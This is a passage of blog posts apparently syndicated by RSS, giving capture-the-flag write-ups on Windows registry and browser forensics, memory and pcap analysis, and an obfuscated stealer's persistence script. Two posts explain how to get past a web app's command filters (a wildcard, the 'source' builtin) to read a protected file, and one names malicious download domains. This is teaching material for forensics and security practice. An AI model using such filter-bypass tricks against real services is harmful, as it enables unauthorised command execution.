src="https://cdn-images-1.medium.com/max/1024/1*Lv5uZnf6hQoaCqgRKVJ4Vw.png" /></figure><p>At this point, I didn’t know what to do. Were there any other artifacts that I didn’t notice?</p><p>The other image was just a copy of the same image. I also checked the passwords.zip archive on the server, but it contained an empty passwords.txt file.</p><p>Oh, I forgot the WindowsSecure.bat script that was dropped into the startup folder used as a persistence mechanism. We didn’t check that one.</p><p>Once I opened it, I realized that the first part of the flag would be there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f1WwmCRQeDHzVqmk_dfSeg.png" /></figure><p>The script assigns two random letters to each letter of the alphabet, plus some other special characters and numbers. It contains a long text, between each two characters there is a (%%).</p><p>I replaced each of these random letters with its original character. You can make a script for this, but I made it manually and it worked fine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qcvp0uIxK8q2644azkxKGg.png" /></figure><p>After replacing all the letters and characters, I searched for L3AK, which is the first part of the flag, but with (%%) between each letter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1eezx0V1z0z-sh-S8W9-4g.png" /></figure><p>The final flag will be:</p><pre>L3AK{Br40d0_st34L3r_0r_br41nr0t}</pre><h4>TTPs</h4><ul><li><strong>Initial Access:</strong> Phishing: <a href="https://attack.mitre.org/techniques/T1566/001">Spearphishing Attachment (T1566.001)</a></li><li><strong>Execution: </strong>Command and Scripting Interpreter: <a href="https://attack.mitre.org/techniques/T1059/001/">PowerShell (T1059.001)</a>, <a href="https://attack.mitre.org/techniques/T1059/006/">Python (T1059.006)</a></li><li><strong>Persistence:</strong> Boot or Logon Autostart Execution: <a href="https://attack.mitre.org/techniques/T1547/001">Startup Folder (T1547.001)</a></li><li><strong>Defense Evasion:</strong> Obfuscated Files or Information: <a href="https://attack.mitre.org/techniques/T1027/009/">Embedded Payloads (T1027.009)</a>, <a href="https://attack.mitre.org/techniques/T1027/010/">Command Obfuscation (T1027.010)</a></li><li><strong>Credential Access: </strong>Credentials from Password Stores: <a href="https://attack.mitre.org/techniques/T1555/003/">Credentials from Web Browsers (T1555.003)</a></li><li><strong>Discovery:</strong> <a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery (T1082)</a>, <a href="https://attack.mitre.org/techniques/T1614">System Location Discovery (T1614)</a></li><li><strong>Collection: </strong><a href="https://attack.mitre.org/techniques/T1005">Data from Local System (T1005)</a>, <a href="https://attack.mitre.org/techniques/T1113/">Screen Capture <strong>(</strong>T1113<strong>)</strong></a></li><li><strong>Exfiltration:</strong> <a href="https://attack.mitre.org/techniques/T1567/">Exfiltration Over Web Service (T1567)</a></li></ul><blockquote><strong>Wi-Fight A Ghost?</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*KzZ3DXrr3_jeLet-XIVPBw.png" /></figure><p>This challenge consisted of 14 questions:</p><pre>1. What was the ComputerName of the device?<br>2. What was the SSID of the first Wi-Fi network they connected to?<br>3. When did they obtain the DHCP lease at the first café?<br>4. What IP address was assigned at the first café?<br>5. What GitHub page did they visit at the first café?<br>6. What did they download at the first café?<br>7. What was the name of the notes file?<br>8. What are the contents of the notes?<br>9. What was the SSID of the second Wi-Fi network they connected to?<br>10. When did they obtain the second lease?<br>11. What was the IP address assigned at the second café?<br>12. What website did they log into at the second café?<br>13. What was the MAC address of the Wi-Fi adapter used?<br>14. What city did this take place in?</pre><p>After extracting the zip archive, we got a triage acquisition for almost the C: drive, but without some of the user’s files and directories.</p><ol><li><strong>What was the ComputerName of the device?</strong></li></ol><p>The computer name information can be found in the SYSTEM hive.</p><p>All the Local Machine hives (HKLM) are located at the following path:</p><pre>C:\Windows\System32\config</pre><p>The computer name can be found in the SYSTEM hive at the following key:</p><pre>HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName</pre><p>I used the famous tool Registry Explorer by Eric Zimmerman, you can find all of his tools <a href="https://ericzimmerman.github.io/#!index.md">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QlI3wi21zwl-De4IPGfP3Q.png" /></figure><pre>1. 99PHOENIXDOWNS</pre><p><strong>2. What was the SSID of the first Wi-Fi network they connected to?</strong></p><p>Information about Network Interfaces could be found at the following key:</p><pre>HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RyYxkxt8uW9MuLIV6F788Q.png" /></figure><p>The DHCPNetworkHints tap contains information about the wireless network (SSID) and its associated DHCP server, assigned IP addresses, and DHCP lease time.</p><p>In the question, he wants the SSID of the first connected network. There are two networks AlleyCat &amp; mugs_guest_5G, but from the lease obtained time, we can determine which one of them was the first network.</p><p>The lease obtained or lease start time is the time at which a device first<strong> </strong>connects to a network. So we found that the network mugs_guest_5G has a lease obtained at 2025–05–14 00:13:36 which is less than the lease obtained for the network AlleyCat, which is 2025–05–14 00:35:07.</p><pre>2. mugs_guest_5G</pre><p><strong>3. When did they obtain the DHCP lease at the first café?</strong></p><p>We already got that.</p><pre>3. 2025-05-14 00:13:36</pre><p><strong>4. What IP address was assigned at the first café?</strong></p><p>The DHCP Address of the mugs_guest_5G SSID in the above image.</p><pre>4. 192.168.0.114</pre><p><strong>5. What GitHub page did they visit at the first café?</strong></p><p>Now we’re getting into browser forensics, we want to know what was the browsing history at the timeframe of the first café.</p><p>I’ll check Chrome browser history file, which is stored in:</p><pre>C:\Users\NotVi\AppData\Local\Google\Chrome\User Data\Default\History</pre><p>I’ll use <a href="https://sqlitebrowser.org/dl/">DB Browser for SQLite</a> to open the history file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m08RiP0eDZrbUTwUeI9I0A.png" /></figure><p>So we couldn’t see any GitHub pages here, let’s check the timestamp for the first search made using <a href="https://www.epochconverter.com/webkit">epochconverter.com/webkit</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*SvGd6KKAM22XxoJN_AhIJQ.png" /></figure><p>The time is 2025–05–14 12:36:08 which is not in the timeframe of the first café.</p><p>So we need to check if there are any other browsers he used to do so.</p><p>I checked the UserAssist key, it’s strong evidence of execution, which will allow us to know what other browsers the user has used.</p><pre>HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wpz1VlsUmTKm0Jz7vpP8Fw.png" /></figure><p>So the user used both Google Chrome and Microsoft Edge browsers, but Edge was last executed during the timeframe of the first café 2025–05–14 00:17:01 Chrome was last executed at 2025–05–14 00:35:15.</p><p>Let’s check the Edge browser history file, which is stored in:</p><pre>C:\Users\NotVi\AppData\Local\Microsoft\Edge\User Data\Default\History</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rXyDv7dMcC8D0ozGUz0QiQ.png" /></figure><p>There is this one GitHub page, let’s double-check and validate that the timestamp of it is in the timeframe of the first café.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*u-D9A684AHTUm13VPlq3PQ.png" /></figure><p>It’s in the same timeframe, it’s valid, so this is the answer.</p><pre>5. https://github.com/dbissell6/DFIR/blob/main/Blue_Book/Blue_Book.md</pre><p><strong>6. What did they download at the first café?</strong></p><p>Go to the downloads tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-NJ482U19nVkRsOVcP4SDA.png" /></figure><pre>6. ChromeSetup.exe</pre><p><strong>7. What was the name of the notes file?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3dNUb9nks89KO5_482wRNQ.png" /></figure><p>This was the only text file the user was opening, so I thought this was the notes file, and it was.</p><pre>7. HowToHackTheWorld.txt</pre><p><strong>8. What are the contents of the notes?</strong></p><p>Alright, to understand this part, we have to explain something first.</p><p>The Master File Table (MFT) is a special system file used by the NTFS file system. It functions as a database that stores detailed information about every file and directory on the volume, including metadata, file contents, and their physical location on disk.</p><p>Each MFT record is typically 1024 bytes (1 KB) in size.</p><p>Files smaller than ~700 bytes are often stored directly within the MFT record itself. This is called resident data.</p><p>Files larger than that are stored elsewhere on the disk in data clusters, and the MFT record contains pointers to those clusters. These are called non-resident data.</p><p>Understanding how the MFT stores data is essential to solving this question.</p><p>The $MFT file is located at the root of the volume C:\$MFT.</p><p>I used <a href="https://ericzimmerman.github.io/#!index.md">MFTECmd </a>to parse the MFT file and write the output to a .csv file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*p3up_zjdjqyNNCpQLxQ3Ow.png" /></figure><pre>MFTECmd.exe -f &quot;MFT file path&quot; --csv &quot;output directory&quot; --csvf &quot;output filename&quot;</pre><p>Let’s open the .csv file with <a href="https://ericzimmerman.github.io/#!index.md">Timeline Explorer</a> and search with the filename.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G4YyuOEKHzD2PUxKHBGkJg.png" /></figure><p>Found it, the file is only 29 bytes This should be resident for sure, let’s check it and see what’s in there.</p><p>I opened the MFT file in HxD and searched with the filename.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*SdCMvuI6nebRnny8D5GGqA.png" /></figure><p>So the answer is:</p><pre>8. Practice and take good notes.</pre><p><strong>9. What was the SSID of the second Wi-Fi network they connected to?</strong></p><p>We got that before.</p><pre>9. AlleyCat</pre><p><strong>10. When did they obtain the second lease?</strong></p><p>Got this one before also.</p><pre>10. 2025-05-14 00:35:07</pre><p><strong>11. What was the IP address assigned at the second café?</strong></p><p>The DHCP Address of the AlleyCat SSID.</p><pre>11. 10.0.6.28</pre><p><strong>12. What website did they log into at the second café?</strong></p><p>Let’s check Chrome’s history one more time real quick.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wCnoeffbAKsx5AlcUpuZvg.png" /></figure><p>All the URLs visited are the same website.</p><pre>12. l3ak.team</pre><p><strong>13. What was the MAC address of the Wi-Fi adapter used?</strong></p><p>The question asks for the MAC address of the Wireless Network Adapter used in the machine.</p><p>One of the best sources you can get from Wi-Fi adapter activity, it contains MAC address, adapter name, SSID, and connection information, is the WLAN-AutoConfig event log. Stored at:</p><pre>C:\Windows\System32\winevt\logs\Microsoft-Windows-WLAN-AutoConfig%4Operational.evtx</pre><p>I opened the event log with the <a href="https://eventlogxp.com/downloads/">Event Log Explorer</a> tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jHBojA8By_qv8pfh-jF6aA.png" /></figure><p>So, since he wants the MAC address, the answer would be.</p><pre>13. 48:51:C5:35:EA:53</pre><p><strong>14. What city did this take place in?</strong></p><p>I had a really bad time with this question :(</p><p>At first, I tried <a href="https://wigle.net/">wigle.net</a> with the BSSID from both of the wireless networks, but unfortunately, it didn’t return anything.</p><p>I was looking for any public IPs I could use to make an online search with it in order to get the location, but also found nothing.</p><p>I got the Geographical Location (Country) from the key:</p><pre>HKCU\Control Panel\International\Geo</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wT9vpPMz5HN3ln1N5FRC8Q.png" /></figure><p>Now I know the country is USA.</p><p>And also got the Timezone information from the key:</p><pre>HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uBeiblm_y98ZN5c_4HkYyw.png" /></figure><p>The Timezone is MDT (Mountain Daylight Time).</p><p>I continued digging through the system logs, until I stumbled upon the WebCache directory:</p><pre>C:\Users\NotVi\AppData\Local\Microsoft\Windows\WebCache</pre><p>The WebCache stores the WebCacheV01.dat database and several log files.</p><p>It’s main purpose is to cache browsing data and track internet-related activity.</p><p>The V01.log is a transaction log file used alongside the main database WebCache.dat.</p><p>I opened this log file in Notepad and scrolled a little bit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xmfLLiju0f39DJ7ClBm0Tw.png" /></figure><p>Until this clientLocation tag instantly caught my eye.</p><p>I sent the whole URL to ChatGPT to analyze it, and it turned out to be that this decimal number clientLocation=40.57873710006415280%7C-105 is a coordinates.</p><p>Latitude = 40.57873710006415280, Longitude = -105</p><p>I used <a href="https://www.gps-coordinates.net/">GPS Coordinates</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_dxswpxVGOaxfUevWKIUSg.png" /></figure><p>And Finallyyy..</p><pre>14. Fort Collins</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gOzTw0x5veX8MrNBnhcWdA.png" /></figure><p>Thank you for your time,</p><p>I hope you enjoyed the reading &lt;’3</p><p>If you have any questions, don’t hesitate to reach out at: <a href="https://linkedin.com/in/0g13/">0g13</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6420777822de" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WolvCTF Write-up for Forensics challenges]]></title>
            <link>https://medium.com/@OG13/wolvctf-write-up-for-forensics-challenges-d51a77751766?source=rss-90f05bf56f2d------2</link>
            <guid isPermaLink="false">https://medium.com/p/d51a77751766</guid>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[forensics]]></category>
            <dc:creator><![CDATA[OG13]]></dc:creator>
            <pubDate>Wed, 27 Mar 2024 03:15:01 GMT</pubDate>
            <atom:updated>2024-03-27T03:15:01.767Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*JUWiYDX83x722R3x-VXnbw.png" /></figure><p>Hello Everybody, This is my write-up for the forensics challenges in WolvCTF, I was able to solve 3 out of 5 challenges.</p><p>Let’s get into it.</p><blockquote><strong>Eternally Pwned: Infiltration</strong></blockquote><blockquote>Category: Network Forensics</blockquote><blockquote>Challenge link: <a href="https://drive.google.com/file/d/1daSaQ9Of71SULx_7gRZ4-GvYDPREgV6m/view?usp=drive_link">download</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*OHky-WnGi3BwqQPwcN5_mw.png" /></figure><p>This was an easy one, I kept looking through the packets of the pcap file.</p><p>Filtered for “http” protocol to see if there is any suspicious connections or downloaded files might got the flag but found nothing useful.</p><p>While navigating I saw this base64 encoding in this echo request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vSuN7R8erTzIqGQyGy0miA.png" /></figure><p>Let’s decode it and see what it is.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*pwKhb8P8UCCeXdi3FqRp8w.png" /></figure><p>Ohhh, it’s the first part of our flag.</p><p>Follow the tcp stream of this packet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gEF6T4btOOUqMF8OL6jypQ.png" /></figure><p>Let’s see if the rest of the flag is in there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*6E5yqDjLj-dIcdKVYsuCqQ.png" /></figure><p>Yup found the second and third part of the flag, let’s decode them now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k6FCa9AvdPztvtK7ye4a_w.png" /></figure><p><strong>flag: wctf{l3tS_3teRn4lLy_g0_bLU3_7n9wm4iWnL}</strong></p><blockquote><strong>Eternally Pwned: Persistence</strong></blockquote><blockquote>Category: Memory Forensics</blockquote><blockquote>Challenge link: <a href="https://drive.usercontent.google.com/download?id=19kx1J7rTkck3EswVd42ZiQUr2sBo-s2J&amp;export=download">download</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*3tvF1rPsBqhigeoqbyWqug.png" /></figure><p>After unzipping the MEMORY.zip file it’s a memory dump file, so I will use the most popular tool for memory forensics volatility, but I prefer volatility3.</p><p>At the beginning we need to know the running processes with the plugin pslist.</p><pre>python3 vol.py -f MEMORY.DMP windows.pslist.PsList</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w4OF_CXAtifloEFUDJirvw.png" /></figure><p>I noticed the the cmd.exe process and this encoded process also.</p><p>Starting with the cmd I used the cmdline plugin but I found nothing useful.</p><p>So I went for the second process and decoded this base64 encoding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*ZfCQPomYFu6PLvy2p0PCDg.png" /></figure><p>Hmmm, maybe the flag would be in a pastebin link or something, so lets dump it with memmap plugin and it’s pid then rename it.</p><pre>python3 vol.py -f MEMORY.DMP -o output windows.memmap.Memmap --dump --pid 1804</pre><p>I tried to grep for “wctf” or “pastebin” with the strings command from the file but got nothing, and then I thought to grep with the encoded process name maybe it’s the first part of the link as when we decoded it was “pastebin.c”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*KzAhkC9Y8OS-30ig35zy_g.png" /></figure><p>We got the full process name, lets decode it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*gcizNm1iz_3MBG1eCZa3cA.png" /></figure><p>Got the link lets open it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*rBbWhiQdCBc1uSHro5pD-Q.png" /></figure><p>And we got our flag.</p><p><strong>flag: wctf{v0lAt1l3_m3m0ry_4qu1r3D_a3fe9fn3al}</strong></p><blockquote><strong>Log Analysis</strong></blockquote><blockquote>Category: Log Analysis</blockquote><blockquote>Challenge link: <a href="https://drive.google.com/file/d/1v7vDVzRQmktpzo2xVuW2KnDlvLYS2_-5/view?usp=sharing">download</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*5ODPhsywBXt3R4m3_hYSRA.png" /></figure><p>I opened the txt file and start navigating the logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xGcFFxpWAphtwg7Ea5ylhQ.png" /></figure><p>I found some encoded domain names, so I thought the flag would be some of those encoded domain names and put them all together, but when I tried to decode them it’s all garbage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D5ee_0CrNErt5vdhx1SUQw.png" /></figure><p>I also noticed that the http request headers are all the same except the “Host” , and also the logs file was large.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*4-b_6V_TnLohv0Lg0KP9fg.png" /></figure><p>So I filtered it out to be easier to analyze.</p><pre>cat logs.txt | sort | uniq &gt; filtered_logs.txt</pre><p>In the challenge description he mentioned that they took down all their “wolvsecsolutions” websites, so lets check on this detail.</p><p>I tried to grep for “wolvsecsolutions” in the filtered logs file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*8h-emLRVsiHyts6VTpMhMg.png" /></figure><p>Something really caught my eyes which is this url looks similar to the urls in the misc challenges, and also all the other websites weren’t working, let’s open it and see what it got for us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*v5_79XpM13Sru6xwjisXCQ.png" /></figure><p>Didn’t expect this but we got our flag.</p><p><strong>flag: wctf{ph1sh3r5_l0v3_c0py1ng_d0m41n_n4m35}</strong></p><p>Thank you for reading, I hope you enjoyed &lt;3</p><p>You can find me at: <a href="https://www.linkedin.com/in/0G13">https://www.linkedin.com/in/0G13</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d51a77751766" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WolvCTF Write-up for Misc and Beginner Challenges]]></title>
            <link>https://medium.com/@OG13/wolvctf-write-up-for-misc-and-beginner-challenges-6df28849c1a2?source=rss-90f05bf56f2d------2</link>
            <guid isPermaLink="false">https://medium.com/p/6df28849c1a2</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[beginner]]></category>
            <category><![CDATA[misc]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[OG13]]></dc:creator>
            <pubDate>Mon, 18 Mar 2024 23:23:14 GMT</pubDate>
            <atom:updated>2024-03-18T23:23:14.947Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*JUWiYDX83x722R3x-VXnbw.png" /></figure><p>Let’s start with Beginner challenges.</p><h3>Challenge 1: Forensics: Hidden Data</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*zPTQvCqz_3PT3rWdu5ZVoQ.png" /></figure><p>He said “comment”, so first thing i thought is to see the meta data using exiftool</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*_xmS3gaCzuZ2fZRPhWRhnw.png" /></figure><p>and here is the flag.</p><p><strong>flag: wctf{h1dd3n_d4t4_n0T_s0_h1dD3N}</strong></p><h3>Challenge 2: OSINT: Redditor</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*oRIxgyT6wbWd1LBf2fLncw.png" /></figure><p>I googled it using google dorks searching for WolvSec reddit account including “flag” keyword in the output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*_F6OFE5BGs4UctrFcp7VJQ.png" /></figure><p>open the link.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*nijtrZcojHrLdqsiPpq0rQ.png" /></figure><p><strong>flag: wctf{h41l_t0_th3_v1ct0rs_v4l14nt_h41L_t0_tH3_c0Nqu3r1nG_h3r035}</strong></p><p>Let’s start in the Misc challenges now.</p><h3>challenge 3: Made Sense</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*qjKf60ok337kUQx59VGHMg.png" /></figure><p>Challenge link: <a href="https://madesense-okntin33tq-ul.a.run.app/">https://madesense-okntin33tq-ul.a.run.app</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fnUgpXnR23hegiVfZiD9Ww.png" /></figure><p>There is two input fields and a source code link, let’s see the source code first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*BFj4A3Eh_nxmgE6Ep48Tsg.png" /></figure><p>Ok, after a while to understand the code.</p><p>It’s a flask application provides a web interface for running code using makefile. It takes linux commands in the code field, and it validates for the target_name that it must contain characters upper and lower case and digits only, and the code field can’t have “\n” and can’t contain “flag” keyword in it or it will returns “no”. And then prints the output in the stdout or if there is an error it prints it in the stderr.</p><p>I tried running basic commands like “ls”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*AKv40IVuK0UudBnzWqOJ-g.png" /></figure><p>It worked, ok let’s cat the flag.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*vDH7-tIMGTQYwJEIhIYhMg.png" /></figure><p>remember it validates for “flag” in code field.</p><p>after thinking I used the wildcard “*” for printing all files in the directory, though there is no files except the flag.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JvHxTOM7PbGTkO0-zbYlpg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pb0bUvGSMKvVzjK882g-ug.png" /></figure><p>and BOOM! there is the flag.</p><p><strong>flag: wctf{m4k1ng_vuln3r4b1l1t135}</strong></p><h3>challenge 4: Made Functional</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*LdO0n9WQilLDeU-lNpyf2g.png" /></figure><p>Challenge link: <a href="https://madefunctional-okntin33tq-ul.a.run.app/">https://madefunctional-okntin33tq-ul.a.run.app</a></p><p>This is the modified version of Made Sense.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*9Poxd7siWnCVX-U9EhUYBQ.png" /></figure><p>The difference is that it puts the /bin/bash shell in an environment where the PATH variable has been modified, by this modification it restricts how the shell finds and executes other commands, left us with the built in commands only. And it also validates for “/” instead of “flag” in Made Sense.</p><p>So when I try to run commands which isn’t a built in like “ls” , “cat” , etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rs9QLIDmAmBqpM5X8zckEw.png" /></figure><p>It gives me there is no such file.</p><p>After a lot and a lot of searching and trying, I reached the “source” command, which is used for reading and executing commands from a file. like if you have an executable called file.sh</p><pre>./file.sh</pre><p>you run the file like this, but the code validates for the “/” and it prints no. But with the source command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iJiEOtDsFa_FwrFVu94Y_Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RumgrakzfbEcLxH7uwrhfw.png" /></figure><p>BOOOOM!!</p><p><strong>flag: wctf{m4k1ng_f1l3s}</strong></p><blockquote>Note: it gives an error because the flag isn’t a linux command by any means.</blockquote><p>Thank you for reading, I hope you enjoyed &lt;3</p><p>Free Palestine and Ramadan Kareem</p><p>You can reach me at: <a href="https://www.linkedin.com/in/0G13">https://www.linkedin.com/in/0G13</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6df28849c1a2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Carnage Challenge Write-up]]></title>
            <link>https://medium.com/@OG13/carnage-challenge-write-up-f503ce6b72f7?source=rss-90f05bf56f2d------2</link>
            <guid isPermaLink="false">https://medium.com/p/f503ce6b72f7</guid>
            <dc:creator><![CDATA[OG13]]></dc:creator>
            <pubDate>Mon, 27 Nov 2023 15:29:46 GMT</pubDate>
            <atom:updated>2023-11-27T15:29:46.617Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*s8UNI2qhibzSx6LR.jpg" /></figure><p>Hello guys, this is my first write-up and we will be walking through carnage challenge from TryHackMe.</p><p><strong>Challenge:</strong> <a href="https://tryhackme.com/room/c2carnage">https://tryhackme.com/room/c2carnage</a></p><p><strong>Category:</strong> traffic analysis</p><p><strong>Difficulty level:</strong> medium</p><h4><strong><em>Scenario</em></strong></h4><p>Eric Fischer from the Purchasing Department at Bartell Ltd has received an email from a known contact with a Word document attachment. Upon opening the document, he accidentally clicked on “Enable Content.” The SOC Department immediately received an alert from the endpoint agent that Eric’s workstation was making suspicious connections outbound. The pcap was retrieved from the network sensor and handed to you for analysis.</p><p><strong>Task:</strong> Investigate the packet capture and uncover the malicious activities.</p><h4><strong>Tools</strong></h4><ul><li>Wireshark</li></ul><h4>Q1</h4><blockquote>What was the date and time for the first HTTP connection to the malicious IP?</blockquote><blockquote>(<strong>answer format</strong>: yyyy-mm-dd hh:mm:ss)</blockquote><p>He asks for HTTP connection so I filtered for http traffic only.</p><p>Then look at the time for the first packet from the Time field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yOztkxM1e38JDbuLRuEWdw.png" /></figure><p>I also changed the display time format from <strong>view &gt; Time display format &gt; Date and time of day</strong>.</p><p><strong>Ans:</strong> 2021–09–24 16:44:38</p><h4>Q2</h4><blockquote>What is the name of the zip file that was downloaded?</blockquote><p>Follow TCP stream for the first packet from the previous screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qnfvc-ixA3GBE6ZmaFkfEQ.png" /><figcaption>documents.zip</figcaption></figure><p>You can clearly see the downloaded zip file.</p><p><strong>Ans:</strong> documents.zip</p><h4>Q3</h4><blockquote>What was the domain hosting the malicious zip file?</blockquote><p>From the same TCP stream.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xwLGG8BH7ULP_d2p2q7NOg.png" /><figcaption>attirenepal.com</figcaption></figure><p><strong>Ans:</strong> attirenepal.com</p><h4>Q4</h4><blockquote>Without downloading the file, what is the name of the file in the zip file?</blockquote><p>Scroll a bit down, that is the strings of the zip file and you can notice the .xls file there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uvl0Bm_xK3HB-QFXfNK05A.png" /><figcaption>chart-1530076591.xls</figcaption></figure><p>It’s an excel file.</p><p><strong>Ans:</strong> chart-1530076591.xls</p><h4>Q5</h4><blockquote>What is the name of the webserver of the malicious IP from which the zip file was downloaded?</blockquote><p>It’s obvious in the http response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NqmTQ76O72rQQsGE4grxMg.png" /><figcaption>LiteSpeed</figcaption></figure><p><strong>Ans:</strong> LiteSpeed</p><h4>Q6</h4><blockquote>What is the version of the webserver from the previous question?</blockquote><p>From the same http response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OJB9LOp9i1wDkvZSio743A.png" /><figcaption>PHP/7.2.34</figcaption></figure><p><strong>Ans:</strong> PHP/7.2.34</p><p><strong>From here it’s going to be a bit spicy.</strong></p><h4>Q7</h4><p>Malicious files were downloaded to the victim host from multiple domains. What were the three<strong> </strong>domains involved with this activity?</p><p>Honestly, I stuck here so I went for the hint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*vFqFUOt54IiP4gPsXI72Yw.png" /></figure><p>Ok, for this I used this filter, which filters for the packets in between 16:45:11 and 16:45:30.</p><pre>frame.time &gt;= &quot;Sep 24, 2021 16:45:11.000000&quot; &amp;&amp; frame.time &lt;= &quot;Sep 24, 2021 16:45:30.000000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dYv7DFsZ2HSlhghdmN-Y_A.png" /></figure><p>I went for the client hello packet which is the start of the HTTPS traffic, and then follow TCP stream.</p><p>And found the first domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IuPY_OUj98vKFESXw-A_og.png" /><figcaption>finejewels.com.au</figcaption></figure><p>I start navigating through the streams after this in the same timeframe.</p><p>And found the second domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jMbX-AnJheTDLHvYPZkgdg.png" /><figcaption>thietbiagt.com</figcaption></figure><p>And then the third domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dDM6ExqBv4cGmfVRGcdwRA.png" /><figcaption>new.americold.com</figcaption></figure><p>So the final answer will be..</p><p><strong>Ans:</strong> finejewels.com.au, thietbiagt.com, new.americold.com</p><h4>Q8</h4><blockquote>Which certificate authority issued the SSL certificate to the first domain from the previous question?</blockquote><p>Back to the TCP stream for the first domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v85pkw5E3SvkSq5-qB2d9A.png" /></figure><p>So it’s godaddy certificate 